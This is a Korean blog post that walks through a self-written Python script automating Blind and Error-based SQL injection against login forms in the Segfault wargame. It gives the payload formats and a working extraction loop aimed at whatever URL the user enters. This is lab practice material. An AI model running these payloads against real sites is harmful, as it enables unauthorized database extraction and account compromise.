※주의 : 본 포스팅에서는 <Segfault> 워게임중 SQL Injection 6 과 SQL Injection 3 내용을 담고있습니다!
지난 포스팅에서 Blind SQLi 덕분에 주화입마가 올뻔했다.
지난 포스팅 :
<Segfault> 워게임 문제풀이 [7편]-Blind SQL Injection
->이번 문제는 Blind SQL Injection 을 연습하기 위한 목적이 강합니다. Blind SQLi 에 대한 기본적인 내용은 이 게시물을 참고하시면 됩니다.https://jamesbexter.tistory.com/entry/SQL-InjectionSQLi 사이트에 접속
jamesbexter.tistory.com
그래서 Python 으로 Blind SQLi , Error SQLi 를 자동화하는 툴을 구현해봤다...아니 해야만 했다..
내가 한시간동안 한 단순노동이 5분으로 줄여졌을때 감격과 동시에 프로그래밍에서 단맛을 느꼈다...
<목차>
- 대략적인 프로그램 구현계획 세우기
- 구현 및 코드 설명
- 워게임 사이트를 통한 프로그램 테스팅
(코드만 참고하시는 것 이라면 바로 2번으로 넘어가셔도 좋습니다)
<1. 대략적인 프로그램 구현계획 세우기>
{Blind SQLi 프로그램 계획}
일단 Burp Suite 를 이용하여 Blind SQLi 를 활용하는 워게임 사이트를 탐색해보자.
워게임은 Segfault 팀의 'SQL Injection 6' 문제를 사용했다.
(구현 포인트 찾기)
요청 | 응답 |
![]() |
![]() |
1번 . 보아하니 POST 로 UserId , Password , Submit 이라는 name 으로 요청을 보내고 있다.
2번 . 또한 로그인 실패시와 성공시에 응답이 서로 다른것을 볼수있다.
로그인을 실패할 경우 Incorrect information 이라는 문구가 뜬다.
즉! Blind SQLi 에서는 참 거짓을 통한 문자열 추출을 로그인 성공,실패로 판단을 하였으니깐!
1. python 으로 POST 요청을 보내준 후
2. 응답중 Incorrect information 이라는 문구가 있는지 확인으로 로그인 성공,실패 유무를 판단할 수 있다.
3. 마지막으로 반복문을 통해서 돌다가 Incorrect information 이라는 문구가 처음 나오는 시점의 값을 아스키코드로 변환시켜 준 후 print 를 해주면 추출이 될 것 같다!
{Error based SQLi 프로그램 계획}
Blind SQLi 에선 Incorrect information 으로 추출포인트를 판단할 수 있었다.
얘는 어디서 확인할 수 있을지 판단해보자.
문법 오류 | 논리 오류 |
![]() |
![]() |
보시면 문법오류 , 논리오류 일 경우에 오류메세지 양상이 다르다.
저기서 완벽히 구분될 수 있는 단어는 XPATH 로 보인다.
또한 POST 변수 이름이 아까와 똑같이 UserId,Password,Submit 이라는 것을 알수있다.
그러면 대략 이렇게 계획을 세워볼 수 있겠다.
1. POST 방식으로 변수와 함께 요청을 보내준뒤
2. 오류 메세지 중 XPATH 란 단어가 나오면 XPATH Syntax error: 까지 읽어준 후 그 뒤에 문장을 전부 추출하면 되겠다!
<2. 구현 및 코드 설명>
import requests
def getchar(): #getchar() 함수 구현
while True:
user_input = input("\n\nEnter q to qtuit: ")
if user_input.lower() =="q":
break
def BlindSqli(): #BlindSqli 함수
print('\n\n사용할 SQL 구문을 입력하시오 >> ',end=" ")
SQL=input()
#format ={'UserId' : "normaltic\' and ((ASCII(substr(("+SQL+"),1,1)))>0) and \'1\'=\'1",'Password' : '1234','Submit' : 'Login'} #Blind SQL format
for n in range (0,40) : #반복문, 대략 찾고자 하는 문자열의 길이가 40자 이하라고 가정함. 더 많을것 같은면 40을 바꾸면된다.
for i in range (0,127) : # 아스키 문자 0번부터127번 까지 찾는 동작을 하는 반복문.
format ={'UserId' : "normaltic\' and ((ASCII(substr(("+SQL+"),{},1)))>{}) and \'1\'=\'1".format(n,i),'Password' : '1234','Submit' : 'Login'}
res = requests.post(url , data=format)
#만약 Incorrect information 나오면 그때의 i에 해당하는 아스키 문자를 반환한다.
if res.text.find('Incorrect information')!=-1:
print(chr(i),end="",flush=True) #flush 를 통해 실시간으로 버퍼를 해소한다.(쉽게말해 실시간으로 추출되는 문자 보기위함)
break
def ErrorSqli(): #ErrorSqli 함수
print('\n\n사용할 SQL 구문을 입력하시오 >> ',end=" ")
SQL=input()
#format = normaltic' and extractvalue('1',concat(0x3a,(__SQL__))) and '1'='1
format ={'UserId' : "normaltic' and extractvalue('1',concat(0x3a,("+SQL+"))) and '1'='1",'Password' : '1234','Submit' : 'Login'}
res = requests.post(url , data=format)
# 'XPATH; 라는 문자열의 시작인덱스는 1299인것을 확인! 우리가 필요한 인덱스 값은 1319이후 부터의 값이 필요!
print(res.text.find('XPATH syntax error: \':'))
print(res.text[1319:])#배열 슬라이싱 기능을 사용하여 [1319:] 인덱스 1319부터 끝까지 문자열을 추출한다.
# 이 밑부터 main code ________________________________________________
print('<<공격하실 사이트를 입력하시오>> : ',end=" ")
url =input()
print('\n\n사용하실 SQLi 기법을 고르시오 1) Blind Sqli 2) Error Based SQLi 3) 종료 : ',end=" ")
mode=input()
if mode == '1': #blind SQLi 시작
while True:
BlindSqli()
print('\n_________________________________________________________________________')
elif mode=='2': #Error Based SQLi 시작
while True:
ErrorSqli()
print('\n_________________________________________________________________________')
#그 외에 값 입력시 바로 종료.
<부가 설명>
*초반에 URL 을 넣어주는 이유는?
=> 사이트를 바꿔줄때마다 코드수정하기 힘들어서 POST 로 보내는 변수이름이 같은 사이트는 그냥 저렇게 url 만 입력해주는것만으로 동작시키기 위해서 넣어봤습니다.
하지만 Segfault 워게임 사이트는 POST 변수의 이름이 다 같지만 , 만약 다른 워게임 사이트를 풀경우 코드수정을 통해 post 요청을 보낼 변수이름을 바꿔줘야 합니다!
* res.text.find('Incorrect information') 란?
=> request 요청을 하여 받아온 응답중에 Incorrect information 문구가 있으면 전체 문자중 Incorrect information 라는 단어가 시작하는 인덱스 값을 반환한다. 만약! Incorrect information 에 해당하는 문구가 없으면 -1 을 반환한다.
*배열슬라이싱 arr[a:b]
=> arr배열중 a인덱스 부터 b 인덱스 까지 출력을 한다. 만약 [a:] 면 a 인덱스부터 끝까지 라는 뜻.
*getchar() 은 안쓰는것 같은데 왜 선언한건지?
=> 만약 오류가 나면 getchar() 을 넣어보면서 동작을 멈춤으로써 어디서 오류가 났는지 확인하기 위함.
*input() 이 뭔가?
=> c언어에서의 scanf 기능이라고 생각하시면 쉽습니다.
값을 입력받는 함수입니다.
*format 부분 코드 짤려서 보입니다.
=> 죄송합니다. 밑에 다시 써놓았습니다
<BlindSqli() 부분>
<ErrorSqli() 부분>
<3. 워게임 사이트를 통한 프로그램 테스팅>
{첫번째 : Blind Sqli}
{두번째 : Error based SQLi}
이 두가지의 flag 를 얻어내는데 4분도 안걸렸다!
근데 듣기론 알고리즘을 이용하면 이것보다 더 빠른속도로 출력이 된다는데 한번 찾아봐야 겠다..
앞으로 웬만한 반복작업은 python 을 사용해서 python 사용에 익숙해져야겠다!...
긴 글 읽어주셔서 감사합니다!
'Python' 카테고리의 다른 글
[Python] Python 으로 Get 요청 보내기-[Bruteforce] (0) | 2024.05.17 |
---|